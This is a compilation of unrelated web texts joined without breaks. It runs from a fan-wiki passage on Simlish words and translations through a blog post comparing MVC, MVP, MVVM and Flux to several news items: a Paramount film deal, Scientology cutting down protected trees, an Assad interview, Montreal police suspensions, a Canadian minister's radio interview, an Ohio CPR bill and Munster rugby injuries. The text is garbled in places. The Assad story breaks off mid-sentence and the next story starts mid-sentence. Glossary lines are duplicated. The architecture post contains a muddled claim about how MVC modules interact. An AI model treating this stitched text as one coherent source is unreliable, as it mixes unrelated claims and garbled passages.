, if a male Sim reaches into a hole and then pulls his hand out because it is covered in bugs, he can sometimes be heard saying "Ugh! Buggies!" A male Sim during a conversation may say "Me? Me Jonny Sapaski see?"
In The Sims 3 for Wii, a child may say "Haha mommy, haha mommy" when trying to get mother's attention.
for Wii, a child may say "Haha mommy, haha mommy" when trying to get mother's attention. When a male Sim ends a phone call quickly (such as when he rejects an opportunity), he will sometimes say something that sounds like "Uh...never mind. Sorry"
When a Sim drops a hackey sack, they might say "Stupid."
In University Life, when a female Sim gets a strike on a bowling alley, they can sometimes be heard saying "Oh yes, oh yes, uhuh!".
, when a female Sim gets a strike on a bowling alley, they can sometimes be heard saying "Oh yes, oh yes, uhuh!". When an adult female Sim gossips, she may say "camisa", the Spanish word for shirt.
When dumpster diving, a female sim may gasp and say "Eeewwww!"
When an adult male Sim is hungry, they may say a phrase that sounds like "Oh, vens unch?" which sounds like "Oh, when's lunch?"
When working out, the female voice will say: "Work it, now work it, now vich are do."
A toddler may say "ahaha aba aba aba". 'aba' is the Hebrew word for "dad".
When teaching a toddler to talk, the adult Sim will often say "Circle-ah."
The Sims 4
When a Sim with a low cooking skill messes up, they may say "Uh-oh".
In Get to Work, a Sim in the Doctor career may say a phrase that sounds like "Don't be a nooboo" ("Nooboo" being the Simlish term for baby) when giving a patient a shot.
Appearances in The Sims Edit
The Sims Edit
The Sims featured a lot more Simlish than SimCopter (the first Maxis game to feature Simlish), and was also a lot clearer. Some common phrases are "wawa bralala?" "ralalalalib bubaya," "commun snanna," and "o frazinnratt," but the number of available phrases were limited, which led to some repetition. The voices were provided by Gerri Lawlor and Stephen Kearin.[citation needed]
The Sims 2 Edit
The Sims 2 comes with more audible and newer phrases like "e wam." Common phrases are now "daj daj" and "ackabunad." Common greetings include "sul sul" and "dag dag". When there is a problem, Sims will say "shooflee" and "anaconda" often. When some female Sims walk by another Sim, their greeting varies from "Ooh, voodoo!" to "Lick a rock!" They reportedly swear sometimes. Much to the amusement of many players, pregnant Sims have been known to shout "WooHoo!" while giving birth. When female elders play at the poker table in Nightlife, they will often say "Texas Goushem" which is probably a reference to Texas HoldEm (a type of poker card game). In the Pets expansion pack, when a Sim is teaching their pet to "shake," they will say "shurb" repeatedly, as well as when they teach to "speak," they will say "sperk."
When an object is in their way, females will say "Nib! Frabanage! Haloo! Frinding," or, "Oh! Abloo. Umm...sesaru?" Males will usually say "Gah! Do caraweeb hushizey." Other male route failure phrases include "Ugh! Dondeesh! Nigway!" and "Wassey! Woohoo! Ipuepueseh?" With teens, the females may say "Cram noopla! Nakasipi!" while males will say "Akapoog! Gillapanoni! Kibor!" or "Dungab! Dibeegz! Hallagidou" If there is a problem, female teens/young adults might say something like "Gravala! Binoo!" or "Marachalavi!" while males might say "Freboteedeebaa!", "Rigochi kada!" or "Rachida koh!" when the children say "Oh! Nikoshab! Wubba Shig Vadou!" and "Blidag ivab wub ajig bado" and then female elders would say "Wosh! Holag? Honyo butib!" and the male elders say "Geh! Hosho mido! Gerro Gerro!" and "Mah! Milato! Halaree"
The Marco Polo from Seasons was originally named Timle Tourneau, and you can clearly hear Sims exclaiming "Timle" and "Tourneau" instead of "Marco" and "Polo". Tim LeTourneau is, in fact, one of the staff of EA. When Witches and Warlocks in Apartment Life use the cauldron, they will say the last names of EA staff members, such as Macarevich, Majekodunmi, and Parmeley.
The Sims 3 Edit
The Sims 3 has the largest Simlish vocabulary. Common phrases are "Dag Dag," "Sul Sul," "Swebsi Madoo," "Madoof Napso," Abondandlain...En Som," "Ma bi daa," "Hubble Herbi," "Etne Condoroy," "Shawbo Glub," "Switz Zorg," "Tippaha Yooredful," "Shabow," "Sussel," "Ibny Bibzo Toy," "Ayba Miyba Mo," "Sa Dooga," "Ib Ou,", "Shamble Natzo Thorg!", "Narbo Puhzed," and "Yargbo Bay Tazzle." Sims also shout "Shamo! Jatzkey,", "Wala," or, most often, "Ugh! Chee Waga Choochoo! Ugh!" when they cannot reach a certain area (accompanied by a "No Footsteps" speech bubble). Female Sims will often use the phrase "Reddage!" (pronounced RED-IJ-AY) when they are angry about something. "Un Jandebo" is common for a flirtatious action. A Sim teaching a toddler to speak will sometimes say a phrase that sounds like "Way to go!". As a lot of music in the Sims 3 are actual songs, you can find the translations of lots of words by listening to the lyrics of both the English and Simlish versions of the song.
When a Sim is about to WooHoo (also when about to use the bathroom) and someone else besides the partner is in the room they may shoo the sims and say "Blanche, Blanche!" (White, White in French)
Also when Sims are hungry they say things like, "Ooooh DABEE DOOH!" and "Oooh saga DAH!"
The Sims 3 is also the first Sims game where players can adjust the Sims' voices to sound exactly as they want them to sound.
In University Life, a professor in the Thomas School of Art can be heard speaking Simlish with a French accent.
Billboards Edit
The Sims 4 Edit
On The Sims 4 website, there is a note in Simlish, next to the newsletter subscription.
The note is known to be a code related to The Sims 4.[3] The code purpose is to introduce some of the team members who are working on The Sims 4, and each of them reveal the Simlish code one by one, with the following order:
Rachel Franklin : Because you took the time to decode this message,
: Because you took the time to decode this message, Jill Johnson : here's why we love you:
: here's why we love you: Aaron Cohen : Your creativity captivates us, your enthusiasm inspires us
: Your creativity captivates us, your enthusiasm inspires us Lyndsay Pearson : May 23, June 18, July 9
: May 23, June 18, July 9 Stephanie Tran : remember these days.
: remember these days. Azure Bowie : Without you, we wouldn't have come this far
: Without you, we wouldn't have come this far Kevin Hogan : We're making this game for you, because of you.
: We're making this game for you, because of you. Grant Rodiek: Thank you for being the greatest fans in the world.
Which translates into:
Because you took the time to decode this message, here's why we love you: Your creativity captivates us, your enthusiasm inspires us
May 23, June 18, July 9, remember these days.
Without you, we wouldn't have come this far We're making this game for you, because of you. Thank you for being the greatest fans in the world.
The Simlish note is roughly translated, because the translated note doesn't exactly match the Simlish letter-by-letter. If one tries to decode with the custom font below, they will end up with Lorem ipsum.
The Sims Medieval Edit
It has been stated that Sims in The Sims Medieval do not speak Simlish, but rather a precursor to Simlish known as "Old Simlish." Compared to modern Simlish, Old Simlish has a more elegant sound, and more closely resembles languages such as French (in one such example, when someone kneels to a King in front of a throne, the King may say "Deboo!", which is similar to "debout", the French word for "stand up"). The difference between Old Simlish and Simlish may be similar to the differences between modern English and Middle English.
Old Simlish phrases are also used by role playing children in The Sims 3: Generations.
Simlish songs Edit
Main article: Songs in Simlish
The Sims 2 features many renditions of popular songs sung by the original artists. Some have music videos created by EA, such as Natasha Bedingfield's "Pocketful of Sunshine" or Katy Perry's "Hot 'n' Cold." However, there are also other songs that don't feature music videos but can be found in the game, such as The Veronicas' "When it All Falls Apart" or Tata Young's "Zoom." These songs can be found in various radio stations in the game depending on the song's genre.
The Sims 2 for the PC is not the only game that features Simlish songs. Paramore's "Pressure" can be heard in The Sims 2 for the PS2 and various Black Eyed Peas songs are heard in The Urbz: Sims in the City, where the band is one of the prominent NPC characters found in Cosmo Street. There's also a Simlish version of "Time Bomb," performed by All Time Low, that can be heard in The Sims 3: Generations trailer.
Some of these songs are only available on Sims radio when certain expansion packs are installed. Ones with music videos often give clues to which expansion pack they are found in, such as Hot 'n' Cold (Apartment Life), Pocketful of Sunshine (Freetime), Fa Fa Fa (Freetime), and Smile (Seasons).
Videos Edit
Main article: Songs in Simlish
These are a few examples of Simlish music videos.
Lily Allen - Smile (in Simlish) - using Sims 2 Seasons Lily Allen - Smile (The Sims 2: Seasons) Natasha Bedingfield - Pocketful Of Sunshine (Simlish) Natasha Bedingfield - Pocketful Of Sunshine (The Sims 2: FreeTime) Datarock - Fa Fa Fa (Simlish) Datarock - Fa Fa Fa (The Sims 2: FreeTime) Katy Perry - Hot n Cold (Simlish) Katy Perry - Hot n Cold (The Sims 2: Apartment Life) Pixie Lott Pixie Lott - Mama Do (The Sims 3 World Adventures) Nelly Furtado - Manos Al Aire (Simlish) Nelly Furtado - Manos Al Aire (The Sims 3: World Adventures) Lady Antebellum, Need You Now - The Sims 3 Lady Antebellum - Need You Now (The Sims 3: Ambitions) Jessica Mauboy 'Saturday Night' Simlish Recording Session for The Sims 3 on Console Jessica Mauboy - Saturday Night (The Sims 3 for console) Kimbra - The Sims 3 Pets - Good Intent (Simlish) Kimbra - Good Intent (The Sims 3: Pets)
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Known Simlish translations Edit
Sul sul : Hello/Goodbye
: Hello/Goodbye Chumcha : Food
: Food Ongie : Selfie!
: Selfie! Plum : (a Simlish swearword)
: (a Simlish swearword) Dag Dag, or Deg Deg : Hello/Goodbye/Okay
, or : Hello/Goodbye/Okay Sperk : Speak
: Speak Nooboo : Baby
: Baby Checkmar : Checkmate
: Checkmate Om za gleb : Oh my god/gosh.
: Oh my god/gosh. Vous : You
: You Laka : Like a
: Like a Zo hungwah : I'm so hungry
: I'm so hungry Vens unch? : When's lunch?
: When's lunch? Fretishe : Everything
: Everything Miza : In the way
: In the way Clops : Clothes
: Clothes Kik : Kiss
: Kiss Mik Up : Make Up
: Make Up Dobbinips : Dominoes
: Dominoes Litzergam or Vadish : Thank You
or : Thank You Shooflee : Distress call, possibly "Help me"
: Distress call, possibly "Help me" Chika : Change
: Change Mik : One
: One Mak : Two
: Two Maka : Three
: Three Kat : Cut
: Cut Gerbit : Llama
: Llama Wabadebadoo : I'm on fire! (Note: as in English, this can be used metaphorically by confident Sims)
: I'm on fire! (Note: as in English, this can be used metaphorically by confident Sims) Zep tor maboo : Help! There's a fire!
: Help! There's a fire! Fruby : Friday
: Friday Nart or Nu : Night
or : Night Lass : Last
: Last Wub mezino : Just a moment
: Just a moment Nubba : Number
: Number Gronk : Not Happy/School
: Not Happy/School Shurb : Shake
: Shake Woven : Dog/Canine
: Dog/Canine Minnai : Tonight
: Tonight Dwam : (an expletive, presumably "Damn")
: (an expletive, presumably "Damn") Ilana : Island
: Island Jigga : Pee/Puke
: Pee/Puke Ne or Blow : No
or : No It : Yes
: Yes Yib-Sim : Best Friend
: Best Friend Woofum : Pet
: Pet Om : And
: And Gr : Good
: Good Caba : Because
: Because Wui : We
: We Bay : Be (infinitive form),
: Be (infinitive form), Neeba zow : Need you now
: Need you now Jadosi : I love this/that!
: I love this/that! Neep : Mind/Opinion
: Mind/Opinion Aws : Second person singular/plural
: Second person singular/plural Garsha : Funny
: Funny Zow Cay : Cow Bay
: Cow Bay Zagadoo : Disagree
: Disagree Oropea : European
: European Caribea : Caribbean
: Caribbean Posha : Polish
: Polish Gur or Gurn : Girl
or : Girl Ah ( Wanobi wa in Japanese-Simlish): I
( in Japanese-Simlish): I Binkt : Think
: Think Marf : Rock
: Rock Apper : Paper
: Paper Nerk : Scissors
: Scissors Yibsim : Best-friend
: Best-friend Bweb : Bed
: Bed Stamby : Stranger
: Stranger Zerpa : There is a
: There is a Powey : Pounding
: Pounding Heb : Head
: Head Brich : B*tch
: B*tch Docturg : Doctor
: Doctor Bicoler : Bipolar
: Bipolar Luv : Love
: Love Sugnorg : Someone
: Someone Can't : Can't
: Can't Roli nowster : Roller coaster
: Roller coaster Cul : Call
: Call Gutta : Got a
: Got a Case : Case
: Case Fuens : Friends
: Friends Roo : Room
: Room Fweeka : Flamingos
: Flamingos Foo : Pool
: Pool Minza bar : Mini bar
: Mini bar Really : Really
: Really Va or Fa : (You) are
or : (You) are Ninap, Tinap or Tinip : Case of Then
, or : Case of Then Ka : 'Cause
: 'Cause Hap : Hot
: Hot Cou : Cold
: Cold Ip : In
: In Aw : Out
: Out Nip : Up
: Up Taw : Down
: Down Deboo! in Old Simlish: Stand Up!
in Old Simlish: Stand Up! Arogaba : Goodbye/Farewell
: Goodbye/Farewell Yibbs, or Yibbsy: Yes/Yup/Yeah
Custom Simlish font Edit
There is a custom Simlish font available at ModTheSims. The Simlish font is based on the Simlish symbols that are commonly used in The Sims 3 and The Sims 4 such as the one that appears on TV. This custom font is not official, and therefore cannot be used to decipher Simlish texts that appear in the game. It's worth noting that there are many variations of Simlish throughout the game, and this custom font is only one of the variations.
However, there is an instance where this custom font can be used to read a Simlish text. Text on the TV in The Sims 4 can sometimes be translated by using the custom Simlish font. In the image to the right, the text appears to translate to "The Tonight Show".
Appearances outside 'The Sims' games Edit
SimCopter Edit
SimCopter was the first game to feature Simlish.
Sid Meier's SimGolf Edit
In SimGolf, Sims will speak Simlish while a translation appears above their heads.
SimCity series Edit
In both SimCity 4 and SimCity Societies, citizens can be heard speaking in Simlish if the player zooms in close enough. In SimCity 5, the citizens speak Simlish when giving the player missions, and a text bubble giving a translation appears.
Spore Edit
In non-English versions of Spore, Simlish is spoken by Steve and "the voice in the tunnel." The Simlish used is the same no matter what non-English language it is.
MySims Series Edit
In the MySims series, the Sims speak Simlish when talking to each other or expressing an emotion.
References EditEXCLUSIVE: Paramount Pictures is talks to acquire feature-film rights for the classic sci-fi novel The Stars My Destination for producer Mary Parent. Written by Alfred Bester, the book (better known as Tiger! Tiger! in the U.K. for its opening-page reprint of a William Blake poem) follows a man who is shipwrecked in space for years when one day a rescue crew passes him by. Angered, he channels his energies into seeking revenge and begins scheming. The key art of the book is enough to get anyone intrigued.
The Stars My Destination is considered one of the best stories in science fiction, and if they can make a deal and get a movie made, it would an accomplishment. It has had a long history of failed film-making attempts with various people lined up at one point or another during the past two decades, reportedly including Richard Gere, Paul W.S. Anderson and Bernd Eichinger.
Bester’s novel was serialized in 1956 in Galaxy magazine, one of the big pulp SF magazines of the day. It was said to be inspired by a National Geographic article about a shipwrecked sailor stuck on a raft who couldn’t get passing ships to rescue him because they feared he was a decoy for Nazi submarines.
Parent is producing live action/animation feature Monster Trucks, which bows Christmas Day from Paramount. She’s also on Same Kind Of Different As Me, which stars Renee Zellweger, Djimon Hounsou, Jon Voight and Greg Kinnear.Jade Beall took pictures of her body after giving birth to her son. She didn't think much of the time and just thought of it as a way to proudly celebrate her post-baby body. When a friend of hers posted her pictures online, Jade got an overwhelming response. Many mothers from around the world also wanted to share and celebrate their post-baby bodies, having seen too few pictures online of what that really looks like. Watch this incredible video for the full story.
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A Beautiful Body Project Share on Facebook Share on Facebook 104 Comments Advertisement Our website uses cookies and other storage technologies to personalize your browsing experience and customize advertising. By using our site you agree to our use of these technologies. Learn more Show More StoriesIn the modern world of web app architecture it’s truly too easy to become lost in the variety of options available to us. When it comes to building web applications, a few stand out. But the task of deciding which architecture to use is still daunting. We’re all probably familiar with the classic Model View Controller pattern (MVC). But then there’s MVVM, MVP, Flux, and a variety of others. What are the differences? Which is right for me? How do they compare to each other? These are the questions I’ll try to answer. I will make general recommendations regarding the use of certain architectures, but these cannot be applied to all projects, as every project is unique.
Model-View-Controller (MVC)
Let’s start with the classic MVC pattern. This is easily the most well known architectural pattern, but is sometimes misunderstood. Often times, developers will segment their application into a Model, View, and Controller, and call that good enough. But MVC defines a clear path of communication that can sometimes be overlooked by someone just learning about the architecture. Let’s check out the diagram below.
The part of MVC that is overlooked is the unidirectional interactions that it specifies the modules should have. This means that each module should only interact with a module if there is an error connecting the two in the correct direction. Typically, people will implement this in such a way where there is bidirectional communication, and/or an additional relationship between the controller and view modules (without going through the user). I just want to highlight that while the 3 layers are important, we should also pay attention to how they communicate.
Is This a Practical Architecture for Modern Web Applications?
No. In my opinion, MVC is not a good architecture for web applications in it’s most strict form. Model-View-Controller is great. It gave birth to the architecture of user-facing applications. It popularized the concept of modularity in the form of application layers. But the path of communication (as defined in the diagram) greatly limits what your application can accomplish. For instance, how do I invoke an action that doesn’t change the model but updates the view? Exceptions to the rule must be made.
A loosely interpreted MVC architecture can make a great web application, however. In fact, many other software architecture patterns have evolved from Model-View-Controller. So let’s dive into those.
Model-View-Presenter (MVP)
Model-View-Presenter is a slightly more practical architecture pattern for web applications. The concept is basic. The presenter updates the view. The view sends user events to the presenter. The presenter changes state in the model. The state propagates from the model back to the presenter. Communication between the connected layers is bi-directional. Furthermore, the View and Model are completely decoupled from one another. Check out the diagram below for a visual aid.
How is this different than MVC?
There are a few notable differences here.
The view and model are completely decoupled from one another.
The Presenter can be correlated to the Controller in MVC, but has the added responsibility of managing the view.
The Model dispatches state changed events back to the presenter instead of interacting with the view.
Is This a Practical Architecture for Modern Web Applications?
Not really. While MVP is a great leap in the right direction, it’s not quite up to the standards of modern web apps. You can certainly use this in your ASP.NET Web Forms application, and it will do wonders for you. However, there are other architectures you could implement that could give you a better experience.
Model-View-ViewModel (MVVM)
The MVVM pattern defines 3 layers, similar to what we’ve seen before. The Model in this case defines both the data and the business logic. The ViewModel transforms data from the Model. MVVM takes advantage of data binding to update parts of the view, without necessarily rendering the entire page. Looking at the diagram below, we can see the similarities between this and the MVP pattern.
How is this different than MVC?
Well, MVVM does have 3 main layers of separation. However, unlike a Controller in MVC, the ViewModel’s responsibility is facilitating the transportation of data between the View and Model. The View is a simple presentation of the data given by the ViewModel. Additionally, the view leverages data binding whereas this concept does not exist in the vanilla MVC architecture.
How is this different than MVP?
The biggest advantage MVVM has over MVP is that it incorporates the idea of data binding. A ViewModel, however, should be more concerned with what is shown in a view than how it is shown. The Presenter in MVP dictates much about how the view is rendered. The ViewModel here should just facilitate the transformation of data between the view and model.
Is This a Practical Architecture for Modern Web Applications?
Yes. Using an MVVM architecture, you can create websites with great user experience. Data binding makes it simple to update parts of your UI and send those results back to your Model. However, there is a lot of overhead to implementing this type of architecture. Using a framework such as AngularJS that supports this type of architecture out-of-the-box is key.
Flux
The Flux architecture really isn’t all that different from the other ones we’ve talked about. It separates your View, Model, and other logic. However, Flux introduces the concept of a few more components. Let’s look at the diagram first so you can get an idea of how they interact.
In this architecture, actions are invoked when the user makes specific interactions with the view. These actions are then dispatched to subscribed entities via registered callbacks. State is changed in the store. The changed state is then propagated back to the view and displayed to the user. In my opinion, this is a good way of visualizing what a lot of implementations eventually evolved into.
How is this different than MVC?
Flux is different from MVC in a number of ways. There’s no real concept of a controller in Flux. The closest we’ve got to a controller are actions. These actions affect the state and perform some business logic in the application. The store maintains the application state, but contains no business logic like the Model does. Finally, we have a dispatcher baked into the architecture to facilitate event handling.
How is this different than MVP?
Flux is different from MVP in that it defines a unidirectional, cyclical flow of interaction between the components. Furthermore, the View manages itself rather than being managed by a Presenter. State is passed directly into the view from the Store without a middle-man.
How is this different than MVVM?
I would say that Flux is more similar to MVVM than it is to MVP. However, there are some distinctions. Namely, the unidirectional flow. The flow of interaction in MVVM could result in a behavior similar to that of Flux. Meaning, I could interact with some data, the ViewModel could send those changes to the Model, the Model could send another event back to the ViewModel, which renders the view again. However, I would say that MVVM is less strict than Flux in that the flow of interaction does not always have to work out that way. You could very well have a case where you interact with the view, something happens in your ViewModel, but nothing else occurs. In Flux, if you dispatch an action, that change goes all the way through the process.
Is This a Practical Architecture for Modern Web Applications?
Yes. However, Flux can be very difficult to implement from scratch. It can be done. But using libraries that build off the Flux architecture (like Redux) is often a better way to reap the benefits it has to offer without the overhead of developing that scaffolding.
Takeaways
It’s important to remember that architecture patterns are generalized specifications to solving common problems. Many times, you’ll have to stray from the defined pattern to do what’s best for the design of your specific application. There is no “one truth” when it comes to software design. All we can do is pick a pattern that best fits our general needs, and modify our architecture from there.
If this post was helpful please subscribe for more posts on web application development.CLEARWATER — The city said no, but the Church of Scientology did it anyway, cutting down two healthy live oak trees this weekend near its downtown headquarters to make way for a massive tent being erected for an international gathering of Scientologists in November.
The removal of the approximately 20-foot-tall trees caught city officials and even the church's own contracted arborist by surprise on Monday.
"I was working on relocating those trees," said Rick Albee, a retired Clearwater arborist who now owns his own consulting company, Urban Forestry Solutions. "I didn't recommend it."
Neither did the city. In an Aug. 21 meeting, city planners explicitly stated that a "natural resource plan must be in place that ensures the survival of any trees impacted by this project."
"These two trees were fine. There was no reason for their removal," said Robert Tefft, the city's development review manager.
The city fined the church about $2,000 for the illegal tree cutting. The church paid the fine Monday.
"We have reimbursed the tree bank for the value of the trees, just like any other developer would do," Pat Harney, a church spokeswoman, wrote in an email.
Even though the trees were cut down illegally, the church's application for a special events permit to erect the tent — expected to hold the "vast majority" of the estimated 8,000 attendees for the International Association of Scientologists Anniversary Weekend — won't be adversely affected.
At least from the city Planning Department's perspective.
"At this point, there is no reason for us to say no," Tefft said.
City manager Bill Horne said the church knew what it was doing.
"They purposefully disregarded the guidance we'd given them. They knew it, they disregarded it," he said. "But let's put this in context. This is not uncommon for some property owners to do this."
Clearwater has a strict tree ordinance that requires property owners to get a city permit before cutting down trees above a certain size.
The Church of Scientology has moved trees rather than chopping them down in the past. In August 1998, the church used hydraulics and a wood and steel track to move a 65-foot-tall, 125-ton live oak from one spot to another on S Harrison Avenue. It was done to make way for construction of the church's Flag Building, scheduled to open in early October.
"As far as trees go, the Church has a record of preserving old trees and fostering new growth," Harney wrote. "The Church even made the Guinness Book of World Records for relocating and preserving the largest live oak tree, at that time — 'Sam' — which is still alive and well in the front of the new Flag Building."
Albee said he met with a tree relocation company on Friday that estimated the trees had an 80 percent chance of survival if they were moved.
As for the health of the two trees, Albee had rated one a 4 on a 0-to-6 scale (with 0 being dead) and the other a 3.
The trees were located in parking lot islands, with their roots surrounded by limestone and concrete, so their viability was limited, Albee said.
Horne said he has seen renderings of a church plan to build a concert hall on the vacant site, although no plans have been submitted. Perhaps that figured into the church's decision, he said.
"As reported in the St. Petersburg Times on November 21, 2011, everybody knows this is the future site of the L. Ron Hubbard Hall," Harney wrote.
In any event, church leaders should have planned better, Horne said. Rumors that the long-delayed Flag Building would open this year have been circulating for months, but the application for the grand opening event wasn't delivered to the city until Aug. 16.
"If they had planned this event months ago, there may have been a way to avoid this situation," Horne said.
On Sept. 3, city staff will give church representatives a checklist of required steps for the permits to be issued for the Flag Building's Oct. 6 grand opening and the November Association of Scientologists event.
Charlie Frago can be reached at [email protected] or (727) 445-4159. You can follow him on Twitter @CharlieFragoAs Syria's vicious civil war enters its fifth year, President Bashar al-Assad granted CBS News a rare one-on-one interview, a year-and-a-half after his last conversation with "CBS This Morning" co-host Charlie Rose. Their meeting Thursday in Damascus came after reports of a new chlorine gas attack that allegedly killed six people.
Assad pushed back against claims his regime is using chlorine gas, and the devastating and equally indiscriminate barrel bombs which are dropped from helicopters.
"This is part of the malicious propaganda against Syria. First of all, the chlorine gas is not |
of the allegations by provincial police.
"I've made the decision to relieve them of their duties starting immediately, for an indefinite period, until everything is brought to light," said Pichet in that tweet.
The officers suspended are Internal Affairs Insp. Martin Renaud and Cmdr. Pascal Leclair, who worked with the Montreal police organized crime unit, sources told CBC's French-language service, Radio-Canada.
La Presse reported on Wednesday morning that Leclair failed to disclose a conflict of interest during a previous investigation.
The newspaper said Leclair was promoted to lead a unit that was investigating the harassment of a female officer in 2011, and Leclair failed to disclose his personal relationship with the officer in question — not only to the Montreal police, but as well, to the Sûreté du Québec, which was assisting the investigation.
In May 2012, an investigator working on the file learned of the relationship. The investigation was then transferred to another unit.
According to Radio-Canada sources, Leclair's suspension is tied to La Presse's report.
Bernard Lamothe was relieved of his functions with the Montreal police in early March. (Radio-Canada)
Officers relieved of duty multiplying
At the start of March, the deputy director of the Montreal police, Bernard Lamothe, was relieved of his functions for the duration of an investigation into allegations that internal affairs investigators fabricated evidence to keep officers quiet about corruption within the force.
That decision came a little more than a week after Quebec's public security minister launched an inquiry into what he called "systemic" problems within the Montreal police service.
Pichet has already asked all internal affairs investigations which are not currently in front of a tribunal to be transferred to a group of investigators made up of several police forces including the SQ and RCMP, as well as a number of municipal forces.Canada's Immigration Minister Chris Alexander, facing a series of tough questions about how many Syrian refugees have made it into the country, hung up on Carol Off, the host of CBC Radio's As It Happens.
The As It Happens interview with Alexander began with a discussion of immigration reforms contained in Bill C-24, something Toronto lawyer Rocco Galati had criticized on a previous show, before moving on to questions about Syrian refugees.
"What has happened to the 200 government-sponsored refugees from Syria that you've committed to bringing into Canada?" Off asked Alexander, noting it's a question the show has been trying to obtain an answer to for months.
Alexander responded by saying around 1,150 Syrians have received "Canada's protection," before adding that the government expects to surpass its commitment to bring in 200 sponsored refugees.
When asked where the 200 refugees are, however, Alexander did not give a firm answer. Below is a transcript of the exchange between Off and Alexander:
Chris Alexander (CA): "I have to go to question period."
Carol Off (CO): "You must tell me please before you go, how many of the 200 government-sponsored refugees that you've committed to bring to Canada are here in Canada now?"
CA: "We have had referrals for well over that number."
CO: "How many of the 200 sponsored have you brought to Canada?"
CA: "Why is that the only question that interests you?
CO: "Because you won't answer it, that's why it's interesting."
CA: "You want the one question I won't answer because it changes every day."
CO: "Well how many are here? We've been asking this for a year now. We've been asking you and Jason Kenney. How many of them are here?
CA: "And I'm telling you 1,150 refugees have received Canada's protection. Why isn't that an answer?"
CO: "But they're not in Canada. How many of them have come to Canada?"
CA: "The vast majority of them are in Canada. They are asylum seekers. Do you not have the decency and the politeness to admit that when these numbers change every day, I can't give you the precise number as of this day in June 2014. I can tell you we are well beyond the number of applications we expected to receive last year."
CO: "The last time you got a number, how many…"
CA: "I'll phone you back and talk to you more about it, but I find your line of questioning… [phone line appears to go silent].
CO: "Would you just please call us back and tell us how many of these 1,150 refugees are in Canada."
Following the abrupt end to the interview, As It Happens tweeted about the incident.
Alexander sent a tweet of his own, saying it was the first time a journalist had made him late to question period.
Alexander called As It Happens back later in the afternoon, but told Off he could not give her an exact number of how many Syrian refugees had made it to Canada. He said the 1,150 he quoted was "the more important number."
After the interview aired, Alexander said it was "unfair" and "unprofessional" of As It Happens to not mention the call ended because he was heading to question period. As It Happens did, in fact, read Alexander's tweet on air.That is a main reason why the General Assembly passed a bill requiring Ohio students be taught chest compression-only CPR and how to use an automated external defibrillator (AED) at some point during their high school career. The Ohio Senate unanimously passed House Bill 113 Wednesday, and the Ohio House approved the bill by an 85-8 vote about five weeks earlier.
With a few exceptions — by written excuse from a parent or if a student is incapable because of a disability — the bill requires students at public high schools and charter schools beginning in the 2017-2018 school year be given CPR and AED hands-on instruction.
Dr. Jason McMullan, an emergency medicine physician at University of Cincinnati Medical Center, said if sudden cardiac arrest happens, which is when a person’s heart unexpectedly stops beating, it could take emergency medical personnel on average 4 to 6 minutes to arrive on scene. If nothing is done, the chances for surviving a cardiac arrest are cut in half.
“Cardiac arrest is one of those diseases that we need pre-EMS, and that’s where the lay public can come in,” he said. More than 360,000 people annually in the United States experience sudden cardiac arrest outside of a hospital setting.
About two-thirds of cardiac arrests occur at home, and the average age of people sustaining them is 60, and McMullan said the upward spike begins with those who are 50. This is the age range of people who have high school-aged children.
“It’s perfect training to the perfect population,” he said, saying high school students, and possibly their friends, will be at home with parents and witness a cardiac arrest, which a heart attack can lead to cardiac arrest.
According to state law, Ohio already requires schools to teach first aid training, which includes CPR, safety and fire prevention. But Senate Majority Whip Sen. Gayle Manning, R-North Ridgeville, who guided the bill in the Senate said the hands-on aspect isn’t currently required. She said it’s pretty much a video showing the idea.
“This is going to save lives across the state of Ohio,” said Sen. Manning. “Anybody that has taught, or anybody that has ever been in school, or have kids in school, you know that hands-on makes a huge difference. Thirty minutes will give a high-retention rate because of the hands-on (requirement).”
House Bill 113 was jointly sponsored by Reps. Cheryl Grossman, R-Grove City, and Nathan Manning, R-North Ridgeville, but it didn’t receive unanimous support. Rep. Nino Vitale, R-Urbana, was one of eight Republicans to vote against the bill.
“The spirit of the bill is good — obviously CPR and using AEDs are an exceptional idea — (but) the question I have is this good government? What this bill does is it forces all schools in Ohio to spend money, and it forces all school to change their curriculum.”
Fairfield City School Board member Dan Hare, who has sat on the Butler County Heart Association board for nearly 16 years, fully supports the bill, and if Fairfield wasn’t already teaching it can see this being an “unfunded mandate.” But preparing students for real life situation also includes practical use of first aid.
“One of the roles we play in education is teaching life skills, and certainly CPR and first aid are life skills, they’re life-saving skills,” he said.
And that’s what Grossman said in April, saying this bill “will have an enormous impact on the lives of those who need it most by training the next generation.”
McMullan said as a member of the St. Bernard-Elmwood Place Board of Education in suburban Cincinnati, he understands the concerns of adding costs to public education requirements. But anything that would had significant costs isn’t in the bill: no certification is require, and the instructor doesn’t need to be specialized or certified.
The use of an AED device requires no training, which is why they are easily accessible at most any government building or school, and in fact the device gives step by step instructions.
To help teach more people how to provide bystander CPR, he’s part of an organization called Take 10 Cincinnati, which provides free training in 10 minutes, and is a UC Health-sponsored initiative.
McMullan said there are many reasons why people don’t start CPR, and among the reasons is they fear they’ll do it wrong. He said that shouldn’t be a worry.
“The only bad CPR is not doing CPR,” he said. “There are certainly standards that we strive for but we shouldn’t let perfect stand in the way of good enough.”Munster’s Niall Ronan has been ruled out for up to six months having failed to recover from a knee strain sustained in training in November.
The flanker underwent a scope last Friday and required “cartilage repair work”, according to the province. He is expected to be sidelined for “approximately four to six months”, meaning he will take no part in Ireland’s Six Nations campaign and, perhaps, the remainder of Munster’s season.
In the shorter term, BJ Botha (right knee) “remains hopeful” of a swift return but coach Rob Penney has already “ruled him out of consideration” for Friday night’s derby game against Connacht at Thomond Park.
The province reported today that Duncan Casey, Dave O’Callaghan and Tommy O’Donnell are following standard return to play protocols after suffering collisions in the late win over the Scarlets on Saturday night, while scrumhalf Conor Murray (knee) and lock Donnacha Ryan (knee) are also unlikely to feature this weekend.
The duo are, however, involved in an Ireland camp at Carton House, alongside Peter O’Mahony, Paul O’Connell, Dave Kilcoyne and Keith Earls.
“Paddy Butler (right thumb) returned to full training today and Simon Zebo (foot) continues with his own rehabilitation running,” said a Munster statement. “Ian Keatley (hip/dead leg) returned to limited training after being rested last week and Damien Varley, who was a late withdrawal from the Scarlet’s match due to illness, is continuing with his recovery but is expected to train later in the week.”
It concluded: “Mike Sherry is resting his left knee after a successful operation last Friday and Luke O’Dea (thumb) continues with his rehab work.”
In more positive news, wingers Andrew Conway and Gerhard van den Heever emerged unscathed after both returned from injury on Saturday night against Scarlets.
Connacht have injury concerns of their own after ending their eight-game losing streak with a 14-11 win over Newport Gwent Dragons last weekend.
Centre Dave McSharry, who left the field early on Saturday, has sustained a high ankle strain and been ruled out of the match in Limerick, while flanker Jake Heenan, who suffered a shoulder injury, is “unlikely to be involved”.
